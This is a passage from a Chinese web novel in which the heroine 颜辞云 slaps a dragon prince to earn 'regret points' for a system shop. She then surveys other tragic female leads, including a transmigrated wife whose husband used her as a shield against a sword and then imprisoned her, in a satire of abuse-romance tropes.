红红火火恍恍惚惚间，龙斯年不可思议地转回头来，只看到身前站着一个门神一样的人物，手上拿着一个看起来就非常坚硬的耳刮板——想来刚刚就是这东西抽到了他的脸上，才把一个龙族都抽得脑瓜子嗡嗡的。 而更不可思议的是，在这个门神的身后，还有一个女人悠然坐着，一边漫不经心地喝着茶，一边被她的狗腿子奉承着： “……神女大人，这点小事哪里用得上您费心？且看元德作为就好——元德！还愣着干什么？继续啊！” 没等龙斯年想明白这是怎么回事，这几个突然出现的人又是什么来头，下一秒，那被叫做元德的“门神”就又举起了耳刮板，跨嚓一下把龙斯年的脑袋又扇到了另一边。 嗡——！ 耳鸣声又响起了。 但这一次，龙斯年总算听到了“门神”元德痛心疾首的话： “罪人龙斯年，你悔改了么？！！” 龙斯年：“……” 这一瞬间，龙斯年不可置信。 龙斯年万分震怒！ 你TM跑别人的宫殿里打宫殿主人的耳刮子还问宫殿的主人悔改了没有？ 你TM这么牛逼还下什么海啊？你怎么不上天呢？！！！ 第117章 悔恨值 “你已经很久没有…… 龙斯年怒不可遏。 龙斯年暴跳如雷！ 他在心中暗暗发誓，一定要让这些突然闯入他宫殿的不知好歹的人类好看！ 但，这样的决心，在短短的数分钟后就改变了。 当耳刮板打到第十个耳光的时候，龙斯年震惊发现，自己竟然在这个人类的耳刮板下毫无还手之力！ 就连他引以为傲的坚韧的龙皮龙鳞，都抵挡不住眼前这孱弱如鸡的人类，以及他手上平平无奇的耳刮板。 这一刻，龙斯年恍然明悟：难怪，难怪……难怪这小小人类，竟然敢以区区肉体凡胎，横跨神人之限，单枪、不、双枪、不，三枪匹马，闯入龙宫，对他龙族少主动手，却原来是人类身后还站着一个手段高超的奸人！ 想到这里，龙斯年心中冷冷一笑想：以耳刮板来折辱他龙族少主？实在是一个妙至毫巅的想法，想来那奸人定然是以为他龙斯年会因这样的折辱暴怒崩溃吧？ 只可惜，那奸人实在小看了他龙斯年。 难道对方以为，只凭一个耳刮板，就能让他龙斯年束手就擒、再无反抗之力？ 可笑！ 天真！ 他龙斯年既然身为龙族少主、堂堂佛子，又怎么会被耳刮板这样的小小手段拿下？ 刚刚的他，只不过是猝不及防下没有防备，才被眼前的小小人类得逞罢了，可如今他既然已经回过神了，且看他如何以雷霆之势，拿回他应有的一切！ 龙斯年唇角一勾，龙躯一震，霸气外露，想要用最粗暴最原始的龙威，一口气将眼前的三个小小人类压成齑粉！ 但是…… 龙斯年龙躯一震。 ——啪！ 龙斯年头一偏。 元德：“你悔改了么？！” 龙斯年懵了：不对啊，这人类怎么会对龙威没有反应？ 不行，再来一次！ 于是龙斯年龙躯再震。 ——啪！ 下一秒，又是一耳刮板。 元德痛心疾首：“你悔改了么？！” 龙斯年不可置信：怎会如此？这人类竟然真的对龙威没有反应？！ 而且，他的龙威不仅对眼前这个手持耳刮板的门神无效，甚至就连这门神身后的狗腿，以及被狗腿服侍着的奇装异服的女人，都对他的龙威没有反应？ 为什么？ 他难道不是天上地下说一不二唯我独尊的龙族少主海圈佛子龙斯年吗？！ 就连这个世界都是围着他转的，凭什么他虐几个人类都虐不到？ 这合理吗？！ 龙斯年呆若木鸡。 龙斯年想不明白。 于是，在耳刮板啪啪扇到第二十下的时候，龙斯年终于被扇回了神，在越发攒动的暴怒中决定直接上手。 龙威失效了，没关系，他龙斯年有的是手段！ 哪怕他只动动手指，眼前的人类都会死无葬身之地。 比如说这样—— 龙斯年动了动手指，将龙宫殿内陈列的武器架上的神兵利器牵引下来，意图在殿中落下一场死亡之雨。 可下一秒—— 啪！ 元德：“你悔改了么？！” 龙斯年：“……” 你TM——他忍！ 龙斯年忍了这一时之辱，嘴唇一勾，冷冷一笑：呵，你们以为自己偷偷切断了他与武器架上那些神兵的联系，就能吃定他龙斯年了吗？ 可笑！无知！ 他龙斯年哪怕引不动神兵，但只要他动动手…… 龙斯年目光一厉，蓦然暴起，出手如电，眼看下一秒就要掐断面前人类的脖子。 但下一秒—— 啪！ 龙斯年的手毫无阻碍地穿过了元德的脖子，就好像他面前的这个可恶人类只是一个虚影。 但元德的耳刮板却重重扇在了龙斯年的脸上，比山更沉比海更重。 元德：“你悔改了么？！” 龙斯年：“……” 你TM就不能TMD换一句话吗？！ 接下来，在第一百个耳刮子里，龙斯年使尽了浑身解数，用出了百般手段，想要攻击面前的元德。 但他的所有努力都像是泥牛入海，没有溅起半点水花。 行吧。 他龙斯年能屈能伸，不争这一时荣辱。 于是接下来，在第两百个耳刮子的时间里，龙斯年绞尽了脑汁，想出了千万种方法，想要从这怪异的人类三人组面前逃脱。 但他的所有尝试都像是梦里的鬼打墙。 明明上一秒他刚换了个姿势背对人类，摆出驾云离去的勃发雄姿，但下一秒，他依然跪在地上，甚至把脸主动迎上了耳刮板。 ——啪！ 清脆！ 响亮！ 元德：“你悔改了么？！” 龙斯年：“你TM%￥#&*@#￥” ——啪！ 元德不为所动，眉毛都没有挑一下，就像是一个冷酷无情的复读机。 “你悔改了么？！” 龙斯年：“……” 你们倒是告诉他到底要他悔改什么啊！！！ · 颜辞云没有一直观察龙斯年的悔改情况。 事实上，在打到大概第三百左右个耳刮子的时候，龙斯年贡献出的悔意值就已经在她的后台频繁刷新了。 于是，急于购物的颜辞云，便随手在龙斯年周身画了个圈，像是困住曾经的相繇年兽三头犬它们一样，随手困住了龙斯年，以免他暴起造次后，便急急来到了隔壁宫殿，一边斜倚在龙宫殿内的寒玉石榻上，一边刷系统版拼夕夕。 最开始，颜辞云只是随便购买了一点儿生活用品，比如说她已经很久没有见过用过的纸巾什么的。 但很显然，寒暑不侵水火不害的颜辞云，完全忘了自己正身处海底龙宫，所以那些纸巾一兑换出来，就自动升了一级，变成了湿纸巾。 颜辞云颇感无语，随手把它们丢掉，心里倒是没有多少可惜。 毕竟，她在系统商城里用悔恨值兑换东西出来又不是真的要用，而只是想试探一下系统的“售货渠道”，看能不能用这种方式找到系统“服务器”的位置罢了。 而答案是：的确可以。 随着系统商城在颜辞云的面前空投货物，颜辞云发现自己对“空投渠道”后头的东西的确能生出一种隐约的预感和联系。 不过这样的联系太过脆弱，还要多来几次才行。 所以—— 还等什么？ 买啊！ 正殿的耳刮子不知道什么时候进行到第四百个了，就连负责手持耳刮板行刑的人都从元德换到了青阳，颜辞云后台的悔恨值自然也唰唰涨得飞快。 甚至这样暴涨的数据还引来了某个人工智障系统的惊叹： 【不可思议，宿主，你是我见过刷悔恨值最快的一任！看来你假死脱逃的方法的确让男主意识到自己失去了多么重要的东西，现在的他真的非常痛心疾首、悔不当初、心痛欲碎啊！】 颜辞云：“……” 你说是就是吧。 颜辞云随口敷衍了两句，并试探着想要从这人工智障的口中套出一些有关“商家”和“平台”的有效信息。 无果。 也不遗憾，继续在商城里买买买。 最开始购物的几分钟里，颜辞云还是非常克制的。 这时候，颜辞云的目的，也仅仅是捉住时空波动，与系统背后的那个世界建立联系而已。 可买着买着，颜辞云有些上头了。 看这个！ 一粒就能管饱一个月的辟谷丹！ 这是什么超级压缩饼干啊？ 买下来研究看看。 再看这个，美颜丹！ 人类对美的定义向来是宽泛的，也是私人的，更是难以统一的。 有些人以胖为美，有些人以瘦为美；有些时代认为高鼻深目的异族人美艳不可方物，有些时代又会鄙夷称异族人是“睛如猫，吻如喙，形似猴”。 这些审美跟文明进程和文化偏见都是息息相关的。 所以，凭什么区区一颗“美颜丹”就能统一人类甚至统一非人类的审美？ 买一个来研究看看。 还有这个，好有趣，竟然是读心系统！ 颜辞云眼睛一亮，点进了大数据的精准投放里。 读心系统 ，但不是让系统的宿主去读别人的心，而是让指定的人读宿主的心。 并且，读心的过程中还可以指定一些过滤词，否则一个人一天下来脑袋得想多少事啊，若是事无巨细地被人读心的话，某些事就反而没有效果了！ 颜辞云翻了一下，发现这个系统是可以租借的，虽然价格有点高，但好评如潮，并且，大多都是被真假千金文的任务者租走用了。 【XXX：好评，假千金死绿茶装模作样想陷害我，我反手一个读心系统，把她的阴暗心思360度无死角大广播，现在她已经被打包赶走了。】 【XXXX：真千金不是什么好东西，明明我都说了没打算跟她争了，她还非要搞事想摁死我，搞笑，真当我软柿子了，我反手一个读心系统挂上，在心里疯狂曝光，我看她怎么办！】 【XX：此用户默认好评。】 【XX：谢谢，有了这个系统X生活和谐多了。】 【XXX：在宫斗文里用了一下，还行，差强人意吧，但还是没有祸水群红包群好用。】 【……】 颜辞云：“呃……好像都很有故事的样子。” 颜辞云好奇地翻了几条，没有多看，对接下来的推荐也是浅尝辄止，没有花钱。 于是大数据又给颜辞云换了个推荐。 是漂亮衣服！ 是那些自带滤镜特效甚至技能的漂亮衣服！ 颜辞云一眼就看中了最贵的那套【昆仑女神】。 昆仑女神指的是西王母。西王母在神话中的形象有一个演变的过程。 最开始时，她是“豹尾虎齿”的半兽神，司天之厉及五残。“厉”与“五残”都是星星的名字，现之则国有灾殃，也就是说西王母在最初时是执掌灾祸的神灵，就连统治阶级也需要祭拜祂。 而后来，祂渐渐被剥离了听起来就很可怕的“灾祸”的能力，增加了可赐予人长生不老的力量，其豹尾虎齿的野性外表也被去除，变成了符合凡人审美的仙界女帝，甚至还被拉郎配了一个东王公。 但，西王母地位极高，是当之无愧的女神界前三，而东王公是哪根葱？ 不知道啊，闻所未闻啊！ 于是慢慢的，小透明东王公被踹了，和西王母拉郎配的CP则成为了后来居上的玉皇大帝。 最后，西王母的形象，也从仙界女帝变成了仙界玉帝的夫人。 不过，在系统商城的界面里，名为【昆仑女神】的套装，依然是以“女神”为主，而非“玉帝的夫人”。 因为这套衣服适合的体型，不是倾向于人类审美的雍容华贵的王母娘娘，而依然是那个人形豹尾虎齿的半兽神。 它并不华贵，也不仙气，甚至不是寻常的布料织成，而像是由无数鸟儿的羽毛攒成。 当风吹起时，它会像是鸟儿的羽翼一样展开，绚烂多姿！ 与此同时，它还非常方便行动，因为它下半身除了垂落的“鸟儿羽翼”之外，既没有紧缚贴身的裙子，也没有裤子，而是给那位昆仑女神的兽形态留下了充足的活动空间。 也给颜辞云最爱用的人身蛇尾的形态留下了充足的活动空间。 因此，颜辞云一眼就看中了这件昂贵的、人体设计完全不符合人体的套装。 可颜辞云再一看这套【昆仑女神】的售价。 悔恨值：11，100，000 接着，颜辞云再扭过头，仔细看看自己现在拥有的悔恨值： 1，392。 颜辞云：“不行，龙斯年果然还是没有半点悔改之心！” 颜辞云大手一挥，把狗腿子青阳叫了进来，让青阳把龙斯年打完后直接挂在龙宫大门的牌匾上。 青阳一愣：挂、挂龙宫的门口上？ 青阳冥思苦想。 青阳恍然大悟。 三天后。 津津有味翻看买家秀的颜辞云，抬头一看，发现自己后台的悔恨值竟然停在区区3129的数值上就不再动了。 于是她把青阳招来，问道：“龙斯年他悔改了吗？” 青阳沉痛道：“龙斯年在城墙上、不，在龙宫外挂了三天，已经被饿死了！” 颜辞云：“……啊？” 龙也会被饿死的吗？ 颜辞云觉得，按照虐文套路，自己这时候或许是应该捶胸顿足，在震惊痛悔中发现自己对龙斯年爱得深沉、爱得撕心裂—— “噗嗤。” 青阳震惊看颜辞云：“神女，你已经很久没有露出这样的笑了。” 颜辞云：“……” 不行了这个世界怎么这么有梗。 颜辞云把饿死的龙斯年抛之脑后，旋即起身，揣上了自己的两个挂件。 “走吧，去下一站。” 青阳元德连忙问道：“神女准备去何处？” 颜辞云拿1000悔恨值兑了个【怨气搜寻器】，浅浅一笑。 “当然——是去做好事。” 为惨死的虐文女主化解怨念，为苦手的任务者做个榜样，顺被给她自己攒钱买一套衣服。 一箭三雕，这怎么不算是做好事呢？ 第118章 新的虐文女主 心疼男人倒…… 揣着两个狗腿挂件离开的时候，颜辞云回头看了一眼深海龙宫。 那一座宏伟的龙宫，笼罩在一片扭曲的深海中，哪怕有无数夜明珠将龙宫映照得盈盈如同白昼，可一种说不清道不明的诡异感依然笼罩其上。 颜辞云思考了一下，觉得这样的诡异感主要来自两个方面：一是空荡，二是僵硬。 谁能想到，堂堂龙宫太子，被挂在龙宫的门面上整整三天，整座龙宫竟然没有一个拿得出手的人物站出来，给予正常人的反应？ 谁又能想到，偌大的龙族驻地里，除了龙斯年之外，能叫得上名字的龙族竟根本没有，就连电视剧里常见虾兵蟹将都没能瞧见？ 虽然颜辞云早就明白，世界就是一个巨大的草台班子，但龙宫的这个草台班子是不是太草了点？ 更重要的是，这样连人数都稀稀拉拉的草台班子，真的能打得凤族几乎灭族吗？ 最后再看了一眼深海龙宫，颜辞云没有多留，掉头离开。 接下来，颜辞云顺着手中的怨气搜寻器，很快找到了第三个、第四个和第五个虐文女主。 而这几个虐文女主的故事，则分别是： 一只千年前机缘巧合下救下重伤的天帝幼子的桃花妖，在天帝幼子痊愈后被其带上天界，并以报恩的名义要对桃花妖以身相许。 偏偏在双方婚约存续期间，天帝幼子对桃花妖不管不顾，不但自己四处留情、沾花惹草，还任由自己的暧昧对象对桃花妖百般凌辱，最后逼得桃花妖死如死灰，跳下斩龙台，灰飞烟灭。 而直到桃花妖身死，天帝幼子才发现自己其实早已经深深地爱上了桃花妖，只不过因他心底该死的傲慢，让他难以接受自己爱上了一个普通小妖的事实，这才流连花丛，放任旁人对自己的爱人百般磋磨。 可如今，待他终于明白自己的心意后，他却永失所爱，哪怕日后的他制霸天界，成为最尊贵的天帝，可他上穷碧落下黄泉，却也再换不回他的桃桃了！ 只不过，天帝幼子不知道的是，桃花妖并非真正地死去，但桃花妖也并非真正地活着。 因为重新归来的“桃花妖”，已经由异界而来的任务者接替，并且花了大量积分，给桃花妖补了一个设定。 什么设定呢？ 那就是，桃花妖原来并非真正的桃花妖，她的真身其实是天地第一圣物，混沌金莲！ 只因尚未完全长成神物选择了自晦，这才令它的真灵以桃花妖的身份现世，并且，因神物过分年幼，以致于神物的真灵自己都以为自己只是普通的小妖。 可如今，拖累混沌金莲尊贵真灵的伪装，早已在斩龙台上化作飞灰，此刻归来的，是天上地下最高贵强大、超凡入圣的混沌金莲！ 而她（任务者）苏醒后的第一件事，就是让她曾经的爱人付出代价！ 颜辞云：“呃……” 身份对轰啊，这。 不过颜辞云不是很明白，为什么必须要带着高贵身份回归才算“打脸”。 搞得像是普通的小妖就不配谈恋爱、不配被忠诚、不配提复仇一样。 不过，颜辞云到底不是任务者，不清楚这种身份上的改变是否真的有利于化解怨气。 并且，就颜辞云个人的感想来说，哪怕任务者真的要搞这种身份上的魔法对轰，它也应该比“倪静如”那边的逆来顺受、用让男主妻妾满堂但懊悔终身的方法来得爽快吧？ 所以，这一位华丽变身归来的任务者是怎么做的呢？ 颜辞云定睛一看任务记录： 第一天：勾引男主，嘎掉小三； 第二天：勾引男主的爹，嘎掉小四； 第三天：勾引男主的哥哥，嘎掉小五； 第四天：勾引男主的小叔叔，嘎掉小六； 第五天：金莲啊金莲，你不能再这样堕落下去了，男色虽好，但悔恨值也很重要的，你还记得你是要收集男主的悔恨值好返回属于你的世界的吗？ 第六天：预热下一个修罗场。 颜辞云：“呃……” 有点微妙，但又说不上来。 颜辞云忍不住开始思考了起来：这样的任务者，还需要自己的插手吗？ 总觉得对方一个人就能玩转这个任务呢，跟“倪静如”不是一个水准的。 而且，除此之外，还有另一个问题： 当前神之部族那边，水神共工与颛顼不是正为了争天帝之位而打得水深火热吗。 那这个所谓的“天帝幼子”、“天帝幼子的小叔叔”等一系列位高权重的天帝派男神仙，都是哪儿来的？ 颜辞云稍稍查探了一下，震惊发现，原来神之部族那边的“天帝”和仙侠虐恋故事里的“天帝”，竟不是一道的。 那所谓的“天帝”，管辖的竟不是颜辞云以为的这一整个小世界的天界与神仙，而仅仅是管理着某个小地域而已。 ——在颜辞云的世界里，哪怕是被她当吉祥物放在酆都大帝位置上的岳灵倩，管理的都不仅是一个小小台州的生死轮回，而是代表着一方世界的新规则。 如今你一个堂堂“天帝”，竟然还是地域性的“天帝”？ 你都地域性了……还、还能叫“天帝”……的吗？ 这一刻，颜辞云的心情越发微妙。 就像是看到统御整个地球村的酋长，摇身变成X国总统一样，让人搞不清它究竟算是升格了还是降维了。 但，总而言之，颜辞云觉得这个虐文故事里应当是没有自己的用武之地了，于是她随手记录了这边的坐标，准备日后再来看看这个故事的结局后，便很快奔向了第四个虐文故事。 第四个虐文故事同样癫癫的，一句话概括就是主动穿越过来妄图拯救深情男配但在男配翻身后被人哐哐打脸的替身的故事。 在这个故事里，这位虐文女主少见的不是本地土著，而是一个穿越者。 穿越者在年少无知时，看了一本仙侠虐恋，但她不爱那个虐了女主千百遍的高冷男主，而是爱上了这本虐恋小说里的深情男配——一个对女主情深不悔、为女主出生入死，就像是一条保护女主的忠犬的魔族少主。 这位魔族少主，因他的魔族身份，哪怕与女主青梅竹马，为女主做了无数的事，也不能将自己对女主的爱慕宣之于口，不能和女主在一起。 甚至就连他的死，也是为了将女主从仙帝男主的剑下救出而为女主挡了一剑，身死道消，整个人都化作了飞灰！ 然而即便到死，男配也没有怪过女主，反而仍担忧着女主的安危，还利用自己的死亡为女主留下了一样关键道具，帮助女主和男主解开误会，共度难关，同仇敌忾，对付真正的恶毒女配，达成HE的结局。 可以说没有这位魔族少主男配，女主早就在眼瞎心盲的仙帝男主的剑下死了无数回了！ 穿越者当然不可能喜欢那个听起来牛逼但却被恶毒女配玩弄于鼓掌间的仙帝男主，而是深深迷恋上了深情男配，甚至因男配的死亡哭得稀里哗啦的，日思夜想都是想要改变男配的结局。 于是，在她愿望最强烈的那一刻，一个梦想成真系统出现了！ 它实现了她的愿望，真的将她带到了书中，带到了男配身边，成为了男配与女主之间同行的第三人。 穿越者欣喜若狂，她发誓，一定要拯救这个悲情男配！ 于是，为了让男配避开惨死的结局，穿越者绞尽脑汁，费尽心思地阻止男配和女主的相处时机。 与此同时，穿越者还扛起了养家的大业。 明明穿越而来的她是和男配女主一样的流浪孤儿，她却起早贪黑，为了一点儿小钱风里来雨里去，把男配和女主养得白白胖胖，自己却又黑又小。 但穿越者并不觉得辛苦。 甚至，当男配终于被魔族找回去当少主、女主也被男主捡回宗门修仙，徒留她一个人在俗世当凡人时，她也半点不感到失落。 因为男配在离开前曾对她发誓，说自己日后功成名之时一定会回来接她、一定会一辈子对她好。 穿越者当时被感动得泪流满面，觉得自己的多年辛苦多年痴恋终于得到了回报。 穿越者也从来没有怀疑过男配的誓言，因为男配的深情是有目共睹、板上钉钉的！ 这样能为爱人付出生命的深情男配，怎么可能会骗她这个爱人呢？ 但男配真的骗了她。 许多许多年后，当男配、女主、男主三人的矛盾终于爆发，男主愤然朝女主刺来一剑，而男配则在情急之下毫不犹豫把穿越者拉过来给女主挡剑时，穿越者在临死之际，竟出乎意料的没有感到不可置信，也没有什么痛彻心扉。 或许是因为这些年里，当男配永远在女主与她的争吵中让而她道歉和让步的时候，当男配给女主带回的礼物费尽心思给她带回的礼物只是女主礼物的赠品的时候，当男配心疼女主手上一道细小的伤口同时认为她是“天生享不了福的劳碌命”的时候，她就已经彻底心死了。 穿越者终于明白，原来，女主的忠犬真的永远都是女主的忠犬。 原来，男配真的像小说里写的一样深情，只不过这个深情的对象从来不是她这个正牌妻子。 就像男配说的那样，她对他有恩，所以他哪怕贵为魔族少主，也重视诺言，以身相报。 可他既然都以身相报了，他堂堂魔族少主都愿意娶她这个凡人为妻了，她一个靠着魔族的灵丹妙药才活了一百年又一百年的区区小人物，又怎么还配生出更多要求、更多怨言？怎么还配妄想拥有他的爱？！ 可是，穿越者不明白的是，明明她为他付出了那么多，明明她得到过他的承诺，明明她是他明媒正娶的妻，凭什么她不能要求自己的丈夫的爱？ 哦，对了，她都忘了…… 她的丈夫，不仅是她的丈夫，更是另一个女人的深情男配啊！ 她可以是妻子，但永远不会是爱人。 因此，死亡的最后一刻，穿越者只有两个念头： 心疼男人倒霉一辈子。 让这个贱男人去死！ 看到这个任务后，颜辞云眼前一亮，觉得好歹是有个虐文女主支楞起来了。 虽然她是直到身死才终于想明白的……但这也算是想明白啊！ 有了这样明确的要求，接下来的任务者一定会—— 颜辞云目光往下一扫，看到了任务者的任务日志： 【救救救救救……】 【要死了要死了要死了，这什么鬼任务啊！这什么煞笔男配啊？】 【救救我救救我救救我！】 颜辞云：“……” 啊？ 不是吧？ 这任务还有难度的？ 颜辞云定睛往下看去。 第119章 不平等 可现实与理想往往…… 在颜辞云观察到的任务日志里，这位在穿书虐文女主身上苏醒的任务者，也是为了任务做出了很多努力的。 这样的努力包括且不限于： 卖惨，试图用自己身上的伤口唤醒男配的良知；回忆过往凡人的记忆，试图用穿越者曾经的苦难唤醒男配的愧疚；提出离开，想要在男主男配势力无法抵达的地方苟一波发育；无果后大哭大闹，试图让男配厌弃自己把自己丢出魔族的领地。 然而这些手段不能说没用，只能说用处不大。 毕竟，假若男配真的有良知有愧疚这种东西，他又怎么可能在危急关头拿穿越者给女主挡仙帝男主的一剑？ 要知道，穿越者只是靠灵丹妙药天才地宝才活到如今的凡人，而男主可是仙帝啊！拿一个凡人的肉体凡胎去挡仙帝的一剑，是个人听了都会说“你认真的吗”，可男配就是这样做了。 这样的人怎么会有良知这玩意儿？ 所以，同理可得，这位深情男配同样不会有愧疚这种东西，不可能因任务者的忆苦思甜就对穿越者曾经的付出和苦难恍然悔悟，认识到自己的做法有多么残忍。 最多也就是掉两滴不值钱的鳄鱼眼泪，提一两句不值钱的心疼罢了。 甚至男配在面对卧床不起的任务者时，还说出了一段非常经典的台词： 【茵茵不像真儿你，有一个全心全意爱护她的夫君，甚至她的爱人还对她百般误解，试图置她于死地！茵茵她都这样可怜了，真儿你为什么还要耍小性子？你就不能像我一样爱护她吗？我们难道不是一块儿长大的吗？】 【如果茵茵真的被那个该死的谢承刺了一剑，那她得有多伤心啊？那一剑不但会伤了她的身体，更会狠狠伤害她的心！再说了，茵茵向来体弱，从小就病痛不断，怎么受的住一位仙帝的一剑？】 任务者当时听到时几乎都快被气笑了： 一个快元婴期的修士受不住仙帝的一剑，所以一个凡人就受的住是吧？ 任务者是这样想的，并且她也这样问了出来。 意外的是，男配竟然没有半点心虚，反而振振有词。 【真儿你和茵茵怎么会是一样？你从小就习惯了伤痛，这点小事对你值当什么？更何况，你有我的全心爱护和保护，是我魔族少主的妻，我自然会倾尽整个魔族的力量来保护你——瞧，你被仙帝刺了一剑，如今不也是没有事吗？】 【你这一生都拥有这么多了，分一点怜惜给我们从小的伙伴又有什么问题？真儿，你真是太自私、太令我失望了！】 当时，任务者几乎是目瞪口呆、无言以对。 但，这绝对不是被男配质问到自惭形秽、自认理亏。 而是她终于明白，对于一个偏心到底的人来说，你说什么都是没用的。 任务者之后对系统的吐槽，也被记录在了任务日志里。 任务者是这样说的： “……我错了我真的错了，我之前总觉得一些有了误会不开口不解释的虐文小说真的蠢到不行，因为人长嘴不就是为了沟通为了说话的么！只要大家坦诚相待、好好沟通，有什么难关是没法度过的？ “现在我终于知道，沟通不是万能的，因为一些人他就根本就不是不懂，也不是不明白别人的付出和牺牲，而是根本不放在心上、是觉得以你的身份就配受这些苦难！ “什么‘误会’？什么‘不知道你的牺牲和付出’？什么‘只是没长嘴不是不爱你’？屁！他心里清楚得很！只不过是觉得你低贱、你活该，才对你的苦难视而不见！对他真正关心的人，连她一天晚上有没有好好吃饭他都清楚得很！ “所以那些不开口解释的女主，也不是不长嘴、故意制造误会和波折，而是不想再自取其辱！ “毕竟系统你看，我一个局外人，听着这贱男人的这番话都快被他给气死了，如果听到这段话的人是原主，那她得有多伤心多绝望啊！” 至此，任务者终于明白，卖惨这种事跟贱人卖是没用的，因为对方不仅不会心疼你，不会觉得你为他付出良多，只会觉得你天生贱命你活该受苦。 因此，任务者果断提出了离开，想要离开男配身边，离开魔族这个事件高发地。 当然，颜辞云猜测，这位任务者大概也是怀有截了男女主机缘、壮大自身力量，最后再回头来报仇的心思，毕竟穿越者的愿望之一，就是让男配付出代价。 “代价”这种东西，没有力量可是不行的。 可男配果断拒绝了，并以任务者身体不好、伤了底子为由，将她囚禁在魔族的王宫里，不许她外出。 任务者对此毫无办法，屡次试图逃脱，但都未果。 甚至，大部分时候，任务者只是稍稍表露出一点儿异样，哪怕是说一句“窗外的鸟儿真自在”，都会立即被身边服侍的人上报给男配，惹来男配的一顿斥责数落，并将她看管得更加严格。 任务者对此毫无办法，最后只能用大哭大闹的方式试图让男配厌弃她、主动抛弃她。 可这个办法，除了得到一顿冷言冷语之外，没有任何用处，到了最后，那男配甚至看都不来看她了，直接把她这个被仙帝刺了一剑的凡人丢在病床上，不管不问了。 而在男配冷待她的日子里，她周身的侍女侍卫们对她的做法也非常不解。 有好声好气地劝她的，也有对她的做法十分瞧不上的。 他们异口同声、千篇一律地说，男配是看重她的，男配是深爱着她的，为什么她一定要为了一件小事这样想不开，一直闹腾不休呢？ 任务者憋屈极了，反问道：“哪怕他拿我去给别的女人挡剑、害我重伤垂死，也是爱我吗？” 他们说道：“当然是爱啊！您本来不过是一介凡人，能有如今的好日子，本就是少主对您的看重、是您几辈子修来的福分了。若没有少主，您哪来如今呼奴唤婢的日子、哪来此刻的长生？ “如今少主也不过是拿您挡了一剑而已，又并未真的对您做了什么，甚至他还以整个魔族之力供您养伤，他做得还不够多么？这一切的罪魁祸首，分明是那位谢仙帝呀！您怎么能这样使性子，将一切的过错都怪罪在少主头上呢？” 总而言之，千言万语汇成一句话：你一介凡女，能嫁给魔族少主就已经是烧了十八辈子的高香了，拿你挡剑哪里是亏于你？那分明是你应该做的！ 颜辞云看着这一段任务日志，心中恍有所悟：所以……这就是上一位那个海后型任务者一定要给自己搞一个高贵身份的理由？ 尽管在颜辞云的观念中，爱是平等的，一段恋爱关系中的两个人也是没有高下之分的。 可现实与理想却往往大相径庭。 爱就是不平等的，人就是有三六九等的。 如果你没有一个足够高贵的身份做底气，那么哪怕你在一段恋爱关系里受尽苦难，别人也不会觉得你受了委屈，反而觉得你身份低贱、你活该委屈。 穷人和富人是平等的？ 妄想而已。 凡人和仙人是平等的？ 痴人说梦。 复仇者倘若不富不贵不强，那么当她憎恨上位者时，就连她不甘的理由在外人看来都是不知好歹！ 颜辞云叹了口气，说不上是无奈还是悲哀。 但她却无疑再一次地庆幸起来—— 庆幸她穿越后的那个蛮荒世界里，空无一人，庆幸她可以靠金手指自给自足，不求任何人。 对于绝大部分人来说，离群索居、独自在陌生的世界里荒野求生，或许是一件可怕至极的事。 可对颜辞云来说，与这些心思叵测、捧高踩低的人类长久共处，才是真正的可怕。 因为最伤人的利剑，往往是自己的同类从后背刺来的。 颜辞云并不害怕野兽的利齿和从身体里流淌出的鲜血，但她真的害怕那些看不清猜不透的变幻莫测的人心，就像是—— 是…… 是、什么？ 颜辞云怔了怔，感到刚刚那一瞬间似乎有什么不同寻常的东西从脑中闪过。 但它们太快了，还没有等颜辞云看清，就彻底消失不见。 并且，颜辞云自己也完全没有探寻它们真面目的想法。 颜辞云不再多想，长长叹了口气，将这一份感慨暂且放下，注意力回到当前的任务中来。 她想，这位任务者之所以在最新的任务日志里的疯狂求救，应该就是出于她当前不能上不能下、不能出也不能进的困境吧？ 颜辞云猜对了。 但又没有全对。 因为任务者虽然被男配困在魔族的深宫，但仅仅是被困住的话，还不至于让一位有系统商城当底牌的任务者这样焦虑不安。 她真正感到焦虑的理由，其实是因为她的性命受到了真正威胁！ 任务者是第一次做任务的萌新，她的手上根本没有任何多余积分，没办法像上一位任务者那样花大价钱给自己兑换一个高贵身份当海后。与此同时，她现实的身体也早已经死去了，只有一缕真灵被系统保护，所以如果她这次任务失败、在这里死去了，她就会真正死亡！ 但最更让她愤怒的是，这把威胁到她性命的利剑，竟然是由她名义上的丈夫，那位深情男配刺来的！ 是的，又是那位深情男配。 又那个女主的舔狗——那个不止自己要舔别人，还要逼着别人一起舔，否则就是恶毒小气妒忌成性的男配。 他在拿着他的凡人妻子为修士女主挡下仙帝男主的一剑后，甚至来不及等到他妻子的身体彻底好起来，就不甘寂寞地再次作妖了！ 第120章 人上人 她要站在天外天上…… 在早期、不，在绝大部分的言情小说里，“深情男配”都是一个非常奇妙的存在。 他深爱女主，矢志不渝——这还算正常。 他重视女主的一切，觉得天大地大都没有女主大——这也可以理解。 但偏偏，他不但可以把自己的身家性命交付到女主手上，仍女主随意把玩，甚至就连所有和他相关的人，都会被他强行绑上女主的战车，为了女主出生入死。 这就有那么点大病了。 而如今这个虐文故事里的深情男配魔祖少主帝昭，无疑就是有那个大病的人。 而在这场大病中的最大受害人，无疑就是那位心疼男人最后把自己小命都疼没了的穿越者李寻真，如今的任务者，编号9122。 这件事还要从半年前说起。 半年前，女主宋茵茵和仙帝男主谢承，因为一场误会开启了你逃我追模式。 最后，这场误会以女主逃到深情男配的身边求救，而深情男配在危急关头把穿越者李寻真拉过来挡了谢承一剑作为结束。 对于修士、仙帝、魔族少主这样的人中龙凤、人类精英来说，这只是一个小小误会，事后，在魔族少主帝昭的帮助下，女主和男主很快就解除了误会，重归于好，冰释前嫌，可对真正的受害人凡人李寻真而言，这却是一场生死大劫，并且她不幸没能渡过。 之后，李寻真身死，任务者9122到来，开启了长达半年的养伤和逃跑拉锯战。 可还没等任务者把这具破败的身体养好、想好完成原主愿望的方法，原女主和原男主上一次好不容易说清的误会，就以更迅猛的姿态爆炸了。 这个误会，说起来其实也非常狗血老套。 原来，多年前，有一位即将登仙的大能心血来潮，蓦然看到未来的天地间将会崩碎，一场末日浩劫将会伴随一只可怕的水魔兽降临人间，而唯一能打败水魔兽、拯救这方天地的，是不知身在何处的女娲后人，唯一拥有补天之力的半人半蛇的神女！ 颜辞云吓了一跳：什么？仙**侠传？你们给版权了没？ 但还好还好，这故事到底没有版权纠纷，因为这只是一个背景板而已，真正的故事内容，早在背景板的半路就绕了一个大圈子，向着另一个方向狂奔而去了。 话说原男主仙帝谢承，乃是开天辟地后的第一位剑修，也是第一位以人身登仙之人，所以他是仙帝，也是人祖，更是世上千万修士的榜样，是比天上云更高比山上雪更冷的高岭之花。 